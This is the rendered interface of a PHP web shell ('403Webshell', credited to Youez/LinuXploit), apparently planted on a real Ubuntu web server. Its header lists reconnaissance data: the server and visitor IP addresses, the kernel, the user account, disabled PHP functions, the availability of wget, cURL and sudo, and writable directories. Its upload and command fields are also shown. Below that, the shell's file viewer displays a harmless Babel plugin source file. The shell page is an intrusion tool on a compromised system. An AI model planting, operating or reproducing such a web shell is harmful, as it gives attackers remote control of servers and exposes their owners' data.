403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.216.190
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/node_modules/babel-plugin-transform-charcodes/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/node_modules/babel-plugin-transform-charcodes/src/index.js
import * as charcodes from "charcodes";
import { parse } from "@babel/parser";
import traverse from '@babel/traverse';

type ast = Object

export default function (babel) {
  const { types: t } = babel;

  function parseFunctionSource(str: string): ast {
    const root = parse(str, {
      sourceType: 'script',
    })

    return root.program.body[0];
  }

  function createInlineFunction(func: ast, id: ast): ast {

    traverse(func, {
      noScope: true,

      Identifier(path) {
        const name = path.node.name

        if (typeof charcodes[name] !== "undefined" && typeof charcodes[name] !== "function") {
          path.replaceWith(t.NumericLiteral(charcodes[name]))
        }
      }
    })

    return t.variableDeclaration(
      'var',
      [t.variableDeclarator(
        id,
        t.toExpression(func),
      )]
    )
  }

  return {

    visitor: {

      ImportDeclaration(path, state) {

        if (path.node.source.value === "charcodes") {
          state.importedLocalName = path.node.specifiers[0].local.name

          // We remove the import just in case
          path.remove()
        }
      },

      MemberExpression(path, state) {
        if (typeof state.importedLocalName !== "undefined" && path.node.object.name == state.importedLocalName) {
          const rightName = path.node.property.name
          const charCodeValue = charcodes[rightName]

          if (typeof charCodeValue === "undefined") {
            throw new Error("unknown key " + rightName)
          } else if (typeof charCodeValue !== "function") {
            path.replaceWith(t.NumericLiteral(charCodeValue))
          } else {
            const fn = parseFunctionSource(charCodeValue.toString())
            const id = path.scope.generateUidIdentifier(rightName)

            state._toHoist.push(createInlineFunction(fn, id))

            path.replaceWith(id)
          }
        }
      },

      Program: {
        enter(path, state) {
          state._toHoist = [];
        },

        exit(path, state) {
          state._toHoist.forEach(x => {
            path.node.body.unshift(x)
          })
        }
      }
    }

  };
}

Youez - 2016 - github.com/yon3zu
LinuXploit